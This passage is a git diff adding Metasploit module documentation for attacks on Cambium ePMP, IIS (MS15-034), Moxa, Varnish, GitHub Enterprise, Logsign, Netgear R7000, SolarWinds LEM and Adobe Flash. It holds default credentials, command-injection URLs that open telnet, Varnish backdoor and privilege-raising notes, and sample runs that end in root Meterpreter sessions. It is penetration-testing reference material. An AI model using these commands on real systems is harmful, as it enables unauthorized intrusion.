+/www/cgi-bin +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + + ``` diff --git a/documentation/modules/auxiliary/scanner/http/epmp1000_dump_config.md b/documentation/modules/auxiliary/scanner/http/epmp1000_dump_config.md new file mode 100644 index 0000000000..a10082cce2 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/epmp1000_dump_config.md @@ -0,0 +1,30 @@ +This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box has four (4) login accounts - admin/admin, installer/installer, home/home, and readonly/readonly. This module requires any one of the following login credentials - admin / installer / home - to dump device configuration file. + +## Verification Steps + +1. Do: ```use auxiliary/scanner/http/epmp1000_dump_config``` +2. Do: ```set RHOSTS [IP]``` +3. Do: ```set RPORT [PORT]``` +4. Do: ```run``` + +## Sample Output + + ``` +msf > use auxiliary/scanner/http/epmp1000_dump_config +msf auxiliary(epmp1000_dump_config) > set rhosts 1.3.3.7 +msf auxiliary(epmp1000_dump_config) > set rport 80 +msf auxiliary(epmp1000_dump_config) > run + +[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 3.2... +[*] 1.3.3.7:80 - Attempting to login... +[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer" +[+] ++++++++++++++++++++++++++++++++++++++ +[+] 1.3.3.7 - dumping configuration +[+] ++++++++++++++++++++++++++++++++++++++ +[+] 1.3.3.7:80 - File retrieved successfully! +[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_moduletest_1.3.3.7_ePMP_config_216595.txt +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + + + ``` diff --git a/documentation/modules/auxiliary/scanner/http/epmp1000_dump_hashes.md b/documentation/modules/auxiliary/scanner/http/epmp1000_dump_hashes.md new file mode 100644 index 0000000000..6ff25406ec --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/epmp1000_dump_hashes.md @@ -0,0 +1,32 @@ +This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 ( use auxiliary/scanner/http/epmp1000_dump_hashes +msf auxiliary(epmp1000_dump_hashes) > set rhosts 1.3.3.7 +msf auxiliary(epmp1000_dump_hashes) > set rport 80 +msf auxiliary(epmp1000_dump_hashes) > run + +[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 2.2... +[*] 1.3.3.7:80 - Attempting to login... +[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer" +[*] ++++++++++++++++++++++++++++++++++++++ +[*] 1.3.3.7:80 - [1/1] - dumping password hashes +root:$1$:0:0:root:/root:/bin/ash +... +... +[*] ++++++++++++++++++++++++++++++++++++++ +[+] 1.3.3.7:80 - File retrieved successfully! +[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_moduletest_1.3.3.7_ePMP_passwd_282393.txt +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + + ``` diff --git a/documentation/modules/auxiliary/scanner/http/epmp1000_web_login.md b/documentation/modules/auxiliary/scanner/http/epmp1000_web_login.md new file mode 100644 index 0000000000..8c90ba0351 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/epmp1000_web_login.md @@ -0,0 +1,24 @@ +This module scans for Cambium ePMP 1000 management login portal(s), and attempts to identify valid credentials. Default login credentials are - admin/admin, installer/installer, home/home and readonly/readonly. + +## Verification Steps + +1. Do: ```use auxiliary/scanner/http/epmp1000_web_login``` +2. Do: ```set RHOSTS [IP]``` +3. Do: ```set RPORT [PORT]``` +4. Do: ```run``` + +## Sample Output + + ``` +msf > use auxiliary/scanner/http/epmp1000_web_login +msf auxiliary(epmp1000_web_login) > set rhosts 1.2.3.4 +msf auxiliary(epmp1000_web_login) > set username installer +msf auxiliary(epmp1000_web_login) > set password installer +msf auxiliary(epmp1000_web_login) > run + +[+] 1.2.3.4:80 - Running Cambium ePMP 1000 version 3.0... +[*] 1.2.3.4:80 - Trying username:"installer" with password:"installer" +[+] SUCCESSFUL LOGIN - 1.2.3.4:80 - "installer":"installer" +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + ``` diff --git a/documentation/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.md b/documentation/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.md new file mode 100755 index 0000000000..2a525fb316 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.md @@ -0,0 +1,61 @@ +## Description + +This module dumps memory contents using a crafted Range header and affects only Windows 8.1, Server 2012, and Server 2012R2. + +**Note:** If the target is running in VMware Workstation, this module has a high likelihood of resulting in BSOD; however, VMware ESX and non-virtualized hosts seem stable. Using a larger target file should result in more memory being dumped, and SSL seems to produce more data as well. + +## Verification Steps + +1. Do: ```use auxiliary/scanner/http/ms15_034_http_sys_memory_dump``` +2. Do: ```set RHOSTS [IP]``` +3. Do: ```set RPORT [PORT]``` +4. Do: ```run``` + +## Sample Output +``` +msf > use auxiliary/scanner/http/ms15_034_http_sys_memory_dump +msf auxiliary(ms15_034_http_sys_memory_dump) > set RHOSTS 10.1.1.125 +RHOSTS => 10.1.1.125 +msf auxiliary(ms15_034_http_sys_memory_dump) > set RPORT 80 +RPORT => 80 +msf auxiliary(ms15_034_http_sys_memory_dump) > exploit + +[+] Target is vulnerable! +[+] Content length is 10240 bytes +[+] Stand by... +[+] Memory contents: +[*] 4854 5450 2f31 2e31 2032 3030 204f 4b0d HTTP/1.1 200 OK. +[*] 0a43 6f6e 7465 6e74 2d54 7970 653a 2074 .Content-Type: t +[*] 6578 742f 6874 6d6c 0d0a 4c61 7374 2d4d ext/html..Last-M +[*] 6f64 6966 6965 643a 204d 6f6e 2c20 3232 odified: Mon, 20 +[*] 204a 756e 2032 3031 3520 3134 3a32 313a Mar 2017 21:27: +[*] 3535 2047 4d54 0d0a 4163 6365 7074 2d52 55 GMT..Accept-R +[*] 616e 6765 733a 2062 7974 6573 0d0a 4554 anges: bytes..ET +[*] 6167 3a20 2261 3563 6663 3863 6166 3661 ag: "a5cfc8caf6a +[*] 6364 3031 3a30 220d 0a53 6572 7665 723a cd01:0"..Server: +[*] 204d 6963 726f 736f 6674 2d49 4953 2f38 Microsoft-IIS/8 +[*] 2e35 0d0a 582d 506f 7765 7265 642d 4279 .5..X-Powered-By +[*] 3a20 4153 502e 4e45 540d 0a00 0000 0000 : ASP.NET....... +[*] 0000 0202 4672 6167 0000 0000 0000 0000 ....Frag........ +[*] c028 0000 0000 0000 0000 0000 0000 0000 .(.............. +[*] 0200 0a00 4672 6565 0000 0000 0000 0000 ....Free........ +[*] d01e f6c5 02f8 ffff 40a2 6502 00e0 ffff ........@.e..... +[*] 0a00 0d02 4d64 6c20 0000 0000 0000 0000 ....Mdl ........ +[*] 1000 6702 00e0 ffff 3800 0c00 0000 0000 ..g.....8....... +[*] 0000 0000 0000 0000 ba9a e501 00e0 ffff ................ +[*] 0090 e501 00e0 ffff 5c00 0000 ba0a 0000 ........\....... +[*] 59a8 1300 0000 0000 0000 0000 0000 0000 Y............... +[*] 0000 0000 0000 0000 0000 0000 0000 e0dc ................ +[*] 0d00 0d02 4d64 6c20 0000 0000 0000 0000 ....Mdl ........ +[*] 9079 2602 00e0 ffff 3800 1c00 0000 0000 .y&.....8....... +... +... +... +[*] 6079 0702 00e0 ffff 0000 0000 0000 0000 `y.............. +[*] 0e00 1902 5669 4d6d 0000 0000 0000 0000 ....ViMm........ +[*] Suppressed 346 uninteresting lines +[*] Memory dump saved to /home/rw/.msf4/loot/20150622073911_default_10.1.1.125_iis.ms15034_145400.bin +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(ms15_034_http_sys_memory_dump) > +``` diff --git a/documentation/modules/auxiliary/scanner/scada/moxa_discover.md b/documentation/modules/auxiliary/scanner/scada/moxa_discover.md new file mode 100644 index 0000000000..d3aa31d95b --- /dev/null +++ b/documentation/modules/auxiliary/scanner/scada/moxa_discover.md @@ -0,0 +1,85 @@ +## Vulnerable Application + + The Moxa protocol listens on 4800/UDP and will respond to broadcast + or direct traffic. The service is known to be used on Moxa devices + in the NPort, OnCell, and MGate product lines. + + A discovery packet compels a Moxa device to respond to the sender + with some basic device information that is needed for more advanced + functions. The discovery data is 8 bytes in length and is the most + basic example of the Moxa protocol. It may be sent out as a + broadcast (destination 255.255.255.255) or to an individual device. + + Devices that respond to this query may be vulnerable to serious + information disclosure vulnerabilities, such as CVE-2016-9361. + + The module is the work of Patrick DeSantis of Cisco Talos and is + derived from original work by K. Reid Wightman. Tested and validated + on a Moxa NPort 6250 with firmware versions 1.13 and 1.15. + + The discovery request contains the bytes: + + `\x01\x00\x00\x08\x00\x00\x00\x00` + + Where the function code (first byte) 0x01 is Moxa discovery/identify + and the fourth byte is the length of the full data payload. + + The first byte of a response will always be the func code + 0x80 + (the most significant bit of the byte is set to 1, so 0b00000001 + becomes 0b10000001, or 0x81). + + A valid response is 24 bytes, starts with 0x81, and contains the values + 0x00, 0x90, 0xe8 (the Moxa OIU) in bytes 14, 15, and 16. + +## Verification Steps + + 1. Start msfconsole + 2. Do: ```use auxiliary/scanner/scada/moxa_discover``` + 3. Do: ```set RHOSTS``` + 4. Do: ```run``` + 4. Devices running the Moxa service should respond + +## Options + + **RHOSTS** + + Target(s) to scan; can be single target, a range, or broadcast. + +## Scenarios + + ``` + msf > hosts + + Hosts + ===== + + msf > use auxiliary/scanner/scada/moxa_discover + msf auxiliary(moxa_discover) > set RHOSTS 192.168.127.254 + RHOSTS => 192.168.127.254 + msf auxiliary(moxa_discover) > show options + + Module options (auxiliary/scanner/scada/moxa_discover): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + BATCHSIZE 256 yes The number of hosts to probe in each set + RHOSTS 192.168.127.254 yes The target address range or CIDR identifier + RPORT 4800 yes The target port (UDP) + THREADS 10 yes The number of concurrent threads + + msf auxiliary(moxa_discover) > run + + [+] 192.168.127.254:4800 Moxa Device Found! + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + msf auxiliary(moxa_discover) > hosts + + Hosts + ===== + + address mac name os_name os_flavor os_sp purpose info comments + ------- --- ---- ------- --------- ----- ------- ---- -------- + 192.168.127.254 Unknown device Moxa Device + + msf auxiliary(moxa_discover) > + ``` diff --git a/documentation/modules/auxiliary/scanner/varnish/varnish_cli_login.md b/documentation/modules/auxiliary/scanner/varnish/varnish_cli_login.md new file mode 100644 index 0000000000..70d2a4d37a --- /dev/null +++ b/documentation/modules/auxiliary/scanner/varnish/varnish_cli_login.md @@ -0,0 +1,134 @@ +## Vulnerable Application + + Ubuntu 14.04 can `apt-get install varnish`. At the time of writing that installed varnish-3.0.5 revision 1a89b1f. + Kali installed varnish-5.0.0 revision 99d036f + + Varnish installed and ran the cli on localhost. First lets kill the service: `sudo service varnish stop`. Now, there are two configurations we want to test: + + 1. No Authentication: `varnishd -T 0.0.0.0:6082`. Varnish 4 and later require either passing '-S ""', or may not support unauthenticated mode at all. + 2. Authentication (based on shared secret file): `varnishd -T 0.0.0.0:6082 -S file`. + 1. I made an easy test one `echo "secret" > ~/secret` + +## Exploitation Notes + +These notes were taken from the original module in EDB, and can be used when developing a working remote exploit + +``` +- varnishd typically runs as root, forked as unpriv. +- 'param.show' lists configurable options. +- 'cli_timeout' is 60 seconds. param.set cli_timeout 99999 (?) if we want to inject payload into a client thread and avoid being killed. +- 'user' is nobody. param.set user root (may have to stop/start the child to activate) +- 'group' is nogroup. param.set group root (may have to stop/start the child to activate) +- (unless varnishd is launched with -r user,group (read-only) implemented in v4, which may make priv esc fail). +- vcc_unsafe_path is on. used to 'import ../../../../file' etc. +- vcc_allow_inline_c is off. param.set vcc_allow_inline_c on to enable code execution. +- code execution notes: + +* quotes must be escaped \" +* \n is a newline +* C{ }C denotes raw C code. +* e.g. C{ unsigned char shellcode[] = \"\xcc\"; }C +* #import etc must be "newline", i.e. C{ \n#include \n dosomething(); }C (without 2x \n, include statement will not interpret correctly). +* C{ asm(\"int3\"); }C can be used for inline assembly / shellcode. +* varnishd has it's own 'vcl' syntax. can't seem to inject C randomly - must fit VCL logic. +* example trigger for backdoor: + +VCL server: + vcl.inline foo "vcl 4.0;\nbackend b { . host = \"127.0.0.1\"; } sub vcl_recv { if (req.url ~ \"^/backd00r\") { C{ asm(\"int3\"); }C } } \n" + vcl.use foo + start + +Attacker: + telnet target 80 + GET /backd00r HTTP/1.1 + Host: 127.0.0.1 + +(... wait for child to execute debug trap INT3 / shellcode). + +CLI protocol notes from website: + +The CLI protocol used on the management/telnet interface is a strict request/response protocol, there are no unsolicited transmissions from the responding end. + +Requests are whitespace separated tokens terminated by a newline (NL) character. + +Tokens can be quoted with "..." and common backslash escape forms are accepted: (\n), (\r), (\t), ( +), (\"), (\%03o) and (\x%02x) + +The response consists of a header which can be read as fixed format or ASCII text: + + 1-3 %03d Response code + 4 ' ' Space + 5-12 %8d Length of body + 13 \n NL character. +Followed by the number of bytes announced by the header. + +The Responsecode is numeric shorthand for the nature of the reaction, with the following values currently defined in include/cli.h: + +enum cli_status_e { + CLIS_SYNTAX = 100, + CLIS_UNKNOWN = 101, + CLIS_UNIMPL = 102, + CLIS_TOOFEW = 104, + CLIS_TOOMANY = 105, + CLIS_PARAM = 106, + CLIS_OK = 200, + CLIS_CANT = 300, + CLIS_COMMS = 400, + CLIS_CLOSE = 500 +}; +``` + +## Verification Steps + + Example steps in this format: + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use auxiliary/scanner/varnish/varnish_cli_login``` + 4. Do: ```run``` + 5. Find a valid login. + +## Options + + **PASS_FILE** + + File which contains the password list to use. + +## Scenarios + + Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f and NO AUTHENTICATION + + ``` + resource (varnish.rc)> use auxiliary/scanner/varnish/varnish_cli_login + resource (varnish.rc)> set pass_file /root/varnish.list + pass_file => /root/varnish.list + resource (varnish.rc)> set rhosts 192.168.2.85 + rhosts => 192.168.2.85 + resource (varnish.rc)> set verbose true + verbose => true + resource (varnish.rc)> run + [+] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN SUCCESSFUL: No Authentication Required + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + msf auxiliary(varnish_cli_login) > + ``` + + Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f + + ``` + resource (varnish.rc)> use auxiliary/scanner/varnish/varnish_cli_login + resource (varnish.rc)> set pass_file /root/varnish.list + pass_file => /root/varnish.list + resource (varnish.rc)> set rhosts 192.168.2.85 + rhosts => 192.168.2.85 + resource (varnish.rc)> set verbose true + verbose => true + resource (varnish.rc)> run + [*] 192.168.2.85:6082 - 192.168.2.85:6082 - Authentication Required + [!] 192.168.2.85:6082 - No active DB -- Credential data will not be saved! + [*] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN FAILED: bad + [*] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN FAILED: good + [+] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN SUCCESSFUL: secret + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` diff --git a/documentation/modules/exploit/linux/http/github_enterprise_secret.md b/documentation/modules/exploit/linux/http/github_enterprise_secret.md new file mode 100644 index 0000000000..96ec537bcd --- /dev/null +++ b/documentation/modules/exploit/linux/http/github_enterprise_secret.md @@ -0,0 +1,68 @@ +This module exploits two security issues found in Github Enterprise 2. The first problem is +that the session management uses a hard-coded secret value, which can be abused to sign a +serialized malicious object. The second problem is that the serialized string is passed to +a ```Marshal.load``` API call, which deserializes the malicious object, and executes it. A +malicious attacker can take advantage of these problems to achieve remote code execution. + +According to exablue.de, this RCE was reported to GitHub, and the researcher was rewarded +$18,000 total. + +## Vulnerable Application + +The following versions are affected: + +* 2.8.0 - 2.8.6. + +For testing purposes, you can download a Github Enterprise image from the following location: + +[https://enterprise.github.com/releases/](https://enterprise.github.com/releases/) + +This module was specifically tested against version 2.8.0, which can be downloaded here: + +[https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova](https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova) + +Before you install the image, you must have a valid key. Start from here: + +[https://enterprise.github.com/sn-trial](https://enterprise.github.com/sn-trial) + +After signing up for a trial, you should receive an e-mail. The email will instruct you to access +your portal account. In there, you can download your github-enterprise.ghl file, which is a key +to complete installing your Github Enterprise system. + +## Using github_enterprise_secret + +The module consists of two features: the ```check``` command and the ```exploit``` command. + +The ```check``` command determines if the host is vulnerable or not by extracting the hash of the +cookie, and then attempts to create the same hash using the default secret key. If the two match, +it means the module can tamper the cookie, and that makes the server vulnerable to deserialization. + +``` +msf exploit(github_enterprise_secret) > check + +[*] Found cookie value: _gh_manage=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTViZTAwNjg4NDViYmYzNWQzMGZl%0AZTRiYWY2YmU4Mzg2MzQ2NjFjODcxYTAyZDZlZjA0YTQ2MWIzNDBiY2VkMGIG%0AOwBGSSIPY3NyZi50b2tlbgY7AFRJIjFZZ0I5ckVkbWhwclpmNWF5RmVia3Zv%0AQzVKMUVoVUxlRWNEbjRYbHplb2R3PQY7AEY%3D%0A--ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed;, checking to see if it can be tampered... +[*] Data: BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTViZTAwNjg4NDViYmYzNWQzMGZlZTRiYWY2YmU4Mzg2MzQ2NjFjODcxYTAyZDZlZjA0YTQ2MWIzNDBiY2VkMGIGOwBGSSIPY3NyZi50b2tlbgY7AFRJIjFZZ0I5ckVkbWhwclpmNWF5RmVia3ZvQzVKMUVoVUxlRWNEbjRYbHplb2R3PQY7AEY= +[*] Extracted HMAC: ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed +[*] Expected HMAC: ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed +[*] The HMACs match, which means you can sign and tamper the cookie. +[+] 192.168.146.201:8443 The target is vulnerable. +msf exploit(github_enterprise_secret) > +``` + +If vulnerable, the ```exploit``` command will attempt to gain access of the system: + +``` +msf exploit(github_enterprise_secret) > exploit + +[*] Started reverse TCP handler on 192.168.146.1:4444 +[*] Serialized Ruby stager +[*] Sending serialized Ruby stager... +[*] Transmitting intermediate stager for over-sized stage...(105 bytes) +[*] Sending stage (1495599 bytes) to 192.168.146.201 +[*] Meterpreter session 2 opened (192.168.146.1:4444 -> 192.168.146.201:52454) at 2017-03-23 10:11:17 -0500 +[+] Deleted /tmp/htBDuK.bin +[+] Deleted /tmp/kXgpK.bin +[*] Connection timed out + +meterpreter > +``` diff --git a/documentation/modules/exploit/linux/http/logsign_exec.md b/documentation/modules/exploit/linux/http/logsign_exec.md new file mode 100644 index 0000000000..c875dd0347 --- /dev/null +++ b/documentation/modules/exploit/linux/http/logsign_exec.md @@ -0,0 +1,79 @@ +## Vulnerable Application + +Download the vulnerable version of OVA or ISO file from following URL. I strongly suggest you to choose OVA. + +[http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova](http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova) +[http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso](http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso) + +### Creating A Testing Environment + +1. Open OVA file with your preferred virtualisation application. +2. Before starting the virtual machine, choose NAT mode for interface. +3. Once the machine started, you must be seeing following information on screen. +``` +Ubuntu 12.04.05 LTS - logsign customer tty1 +IP: 12.0.0.10 +... +Version: Focus +4.4.2 +``` +4. Access the management interface by visiting `https://` through your browser. +5. Complete the installation by just submitting the fake data. + +**Please follow below instructions if you are seeing different IP address on the screen that doesn't belong to your NAT network range.** + +Right after step 3, I've started to see totally different IP address on the screen which was something like 10.0.0.X. Since there is no such a network range in my configuration, it's impossible access to the machine through network. Here is the steps that shows how you can fix this issue. Follow these instructions and then go back to the step 5. + +1. Reboot the machine +2. Start pressing ```shift``` button at the very beginning and keep pressing until you see GRUB menu. +3. Choose second line and press enter. We are going to about boot machine with recovery mode. +4. You must be seeing terminal right now. Execute following commands. +``` +mount -rw -o remount / +``` +5. Execute following command specify a new password for root user. + ``` + passwd root + ``` +6. As a final step, reboot the machine. + ``` +reboot + ``` +7. Login with your root user. +8. Open ```/etc/network/interfaces``` file and perform necessary changes. Here is my own configuration. +``` +address 12.0.0.10 +netmask 255.255.255.0 + + +gateway 12.0.0.2 +dns-nameservers 8.8.8.8 +``` +9. Reboot the machine for a last time. + +## Verification Steps + + 1. Install the software as documented above + 2. Start `msfconsole` + 3. `use exploit/linux/http/logsign_exec` + 4. `set rhost 12.0.0.10 + 6. `python/meterpreter/reverse_tcp` is configured as a default payload. Change it if you need. Most of the case, you're okay go with default payload type. + 7. `set LHOST 12.0.0.1` + 8. `check` and validate that you are seeing following output. + +``` +[+] 12.0.0.10:80 The target is vulnerable. +``` + + 9. Here you go. Type `exploit` and hit the enter. + +``` +[*] Started reverse TCP handler on 12.0.0.1:4444 +[*] Delivering payload... +[*] Sending stage (38651 bytes) to 12.0.0.10 +[*] Meterpreter session 2 opened (12.0.0.1:4444 -> 12.0.0.10:46057) at 2017-02-28 14:11:20 +0100 + +meterpreter > getuid +Server username: root +meterpreter > +``` \ No newline at end of file diff --git a/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md b/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md index ce6d65012b..cc1c3d4826 100644 --- a/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md +++ b/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md @@ -1,4 +1,4 @@ -The netgear_r7000_cgibin_exec module exploits a command injection vulnerability in Netgear R7000 and R6400 router firmware version `1.0.7.2_1.1.93` and possibly earlier. The vulnerability is found in the `/cgi-bin/` folder of the router. A manual injection would look like so: `http:///cgi-bin/;echo$IFS"cowsay"`. This will echo 'cowsay' on the router. +The netgear_r7000_cgibin_exec module exploits a command injection vulnerability in Netgear R7000 and R6400 router firmware version `1.0.7.2_1.1.93` and possibly earlier. The vulnerability is found in the `/cgi-bin/` folder of the router. A manual injection would look like so: `http:///cgi-bin/;echo$IFS"cowsay"`. This will echo 'cowsay' on the router. A fairly useful manual command injection is like so: `http:///cgi-bin/;telnetd$IFS-p$IFS'45'` will open telnet on port 45. ## Vulnerable Application @@ -12,47 +12,39 @@ Netgear R7000 and R6400 routers running firmware version `1.0.7.2_1.1.93` and po 3. Do: `set RHOST ` 4. Do: `set PAYLOAD ` 5. Do: `run` - 6. If the router is a R7000 or R6400, the module should run + 6. If the router is a R7000 or R6400, you should get a session ## Options **PAYLOAD** - The valid payloads are `cmd/unix` payloads _only_, as this is a command execution module + The valid payloads are `mettle` payloads _only_. The payload uses the `wget` flavor and pipes the downloaded binary to `sh` ## Scenarios - Sample output of the options looks like so - + Sample output of a successful session: + ``` - msf exploit(netgear_r7000_cgibin_exec) > options + msf exploit(netgear_r7000_cgibin_exec) > run -Module options (exploit/linux/http/netgear_r7000_cgibin_exec): +[*] Started reverse TCP handler on 127.0.0.1:4444 +[*] Router is a NETGEAR router (R7000) +[+] Router may be vulnerable (NETGEAR R7000) +[*] Using URL: http://0.0.0.0:8080/ +[*] Local IP: http://[redacted]:8080/ +[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:54168) at 2017-03-10 15:56:21 -0600 +[*] Server stopped. - Name Current Setting Required Description - ---- --------------- -------- ----------- - Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOST 192.168.1.1 yes The target address - RPORT 80 yes The target port (TCP) - SSL false no Negotiate SSL/TLS for outgoing connections - VHOST no HTTP server virtual host - - -Payload options (cmd/unix/reverse_bash): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST 192.168.153.34 yes The listen address - LPORT 4444 yes The listen port - - -Exploit target: - - Id Name - -- ---- - 0 Automatic Target - -msf exploit(netgear_r7000_cgibin_exec) > +meterpreter > getuid +Server username: uid=0, gid=0, euid=0, egid=0 +meterpreter > sysinfo +Computer : 192.168.1.4 +OS : (Linux 2.6.36.4brcmarm+) +Architecture : armv7l +Meterpreter : armle/linux +meterpreter > ``` + As you can see, the `uid` is 0, meaning you have root access. + diff --git a/documentation/modules/exploit/linux/ssh/solarwinds_lem_exec.md b/documentation/modules/exploit/linux/ssh/solarwinds_lem_exec.md new file mode 100644 index 0000000000..535d31b81c --- /dev/null +++ b/documentation/modules/exploit/linux/ssh/solarwinds_lem_exec.md @@ -0,0 +1,49 @@ +## Vulnerable Application + +This module exploits the default credentials of SolarWind LEM. A menu system is encountered when the SSH service is accessed with the default username and password which is "cmc" and "password". By exploiting a vulnerability that exist on the menuing script, an attacker can escape from restricted shell. + +Vulnerable application can be download as a free trial from vendor webpage. +[http://www.solarwinds.com/log-event-manager](http://www.solarwinds.com/log-event-manager) + +## Verification Steps + + 1. Start msfconsole + 2. Do: `use exploit/linux/ssh/solarwinds_lem_exec` + 3. Do: `set rhost ` + 4. Do: `set lhost ` + 5. Do: `exploit` + 6. You should get a shell. + +## Scenarios + +This is a run against a known vulnerable Solarwinds LEM server. +``` +msf exploit(solarwind_lem_exec) > exploit + +[*] Started reverse TCP handler on 12.0.0.1:4444 +[*] 12.0.0.154:32022 - Attempt to login... +[+] SSH connection is established. +[*] Requesting pty... We need it in order to interact with menuing system. +[+] Pty successfully obtained. +[*] Requesting a shell. +[+] Remote shell successfully obtained. +[+] Step 1 is done. Managed to access terminal menu. +[+] Step 2 is done. Managed to select 'service' sub menu. +[+] Step 2 is done. Managed to select 'service' sub menu. +[+] Step 3 is done. Managed to start 'restrictssh' function. +[+] Step 4 is done. We are going to try escape from jail shell. +[+] Sweet..! Escaped from jail. +[*] Delivering payload... +[*] Sending stage (38651 bytes) to 12.0.0.154 +[*] Meterpreter session 3 opened (12.0.0.1:4444 -> 12.0.0.154:43361) at 2017-03-17 21:59:05 +0300 +[-] Exploit failed: Errno::EBADF Bad file descriptor +[*] Exploit completed, but no session was created. + +msf exploit(solarwind_lem_exec) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: cmc +meterpreter > +``` + diff --git a/documentation/modules/exploit/multi/browser/adobe_flash_hacking_team_uaf.md b/documentation/modules/exploit/multi/browser/adobe_flash_hacking_team_uaf.md new file mode 100755 index 0000000000..ac392d61ae --- /dev/null +++ b/documentation/modules/exploit/multi/browser/adobe_flash_hacking_team_uaf.md @@ -0,0 +1,65 @@ +## Description + +This module exploits an use after free on Adobe Flash Player. The vulnerability, discovered by Hacking Team and made public as part of the July 2015 data leak, was described as an Use After Free while handling ByteArray objects. This module has been tested successfully on: + +1. Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194. +2. Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194. +3. Windows 8.1 (32-bit), IE11 and Adobe Flash 18.0.0.194. +4. Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194. +5. Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468. + +## Verification Steps + +1. Do: ```use exploit/multi/browser/adobe_flash_hacking_team_uaf``` +2. Do: ```set payload windows/meterpreter/reverse_tcp``` +2. Do: ```set LHOST [IP]``` +3. Do: ```set SRVHOST [IP]``` +3. Do: ```set URIPATH / [PATH]``` +4. Do: ```run``` + +## Sample Output + +### IE 11 and Flash 18.0.0.194 + +``` +msf > use exploit/multi/browser/adobe_flash_hacking_team_uaf +msf exploit(adobe_flash_hacking_team_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp +PAYLOAD => windows/meterpreter/reverse_tcp +msf exploit(adobe_flash_hacking_team_uaf) > set LHOST 172.16.178.160 +LHOST => 172.16.178.160 +msf exploit(adobe_flash_hacking_team_uaf) > set srvhost 172.16.178.80 +srvhost => 172.16.178.80 +msf exploit(adobe_flash_hacking_team_uaf) > set SRVPORT 80 +SRVPORT => 80 +msf exploit(adobe_flash_hacking_team_uaf) > set URIPATH / +URIPATH => / +msf exploit(adobe_flash_hacking_team_uaf) > exploit +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 172.16.178.160:4444 +[*] Using URL: http://0.0.0.0:80/ +msf exploit(adobe_flash_hacking_team_uaf) > [*] Local IP: http://127.0.0.1:80/ +[*] Server started. + +msf exploit(adobe_flash_hacking_team_uaf) > +[*] 172.16.178.80 adobe_flash_hacking_team_uaf - Gathering target information. +[*] 172.16.178.80 adobe_flash_hacking_team_uaf - Sending HTML response. +[*] 172.16.178.80 adobe_flash_hacking_team_uaf - Request: /rGaaQS/ +[*] 172.16.178.80 adobe_flash_hacking_team_uaf - Sending HTML... +[*] 172.16.178.80 adobe_flash_hacking_team_uaf - Request: /rGaaQS/AsvCG.swf +[*] 172.16.178.80 adobe_flash_hacking_team_uaf - Sending SWF... +[*] Sending stage (957999 bytes) to 172.16.178.80 +[*] Meterpreter session 1 opened (172.16.178.160:4444 -> 172.16.178.80:49167) at 2017-03-26 22:51:29 +0900 + +msf exploit(adobe_flash_hacking_team_uaf) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : WIN7X64TJ7XH-PC +OS : Windows 7 (Build 7601, Service Pack 1). +Architecture : x64 (Current Process is WOW64) +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/win32 +``` diff --git a/documentation/modules/exploit/multi/http/axis2_deployer.md b/documentation/modules/exploit/multi/http/axis2_deployer.md new file mode 100755 index 0000000000..ac68a1fcb6 --- /dev/null +++ b/documentation/modules/exploit/multi/http/axis2_deployer.md @@ -0,0 +1,62 @@ +## Description + 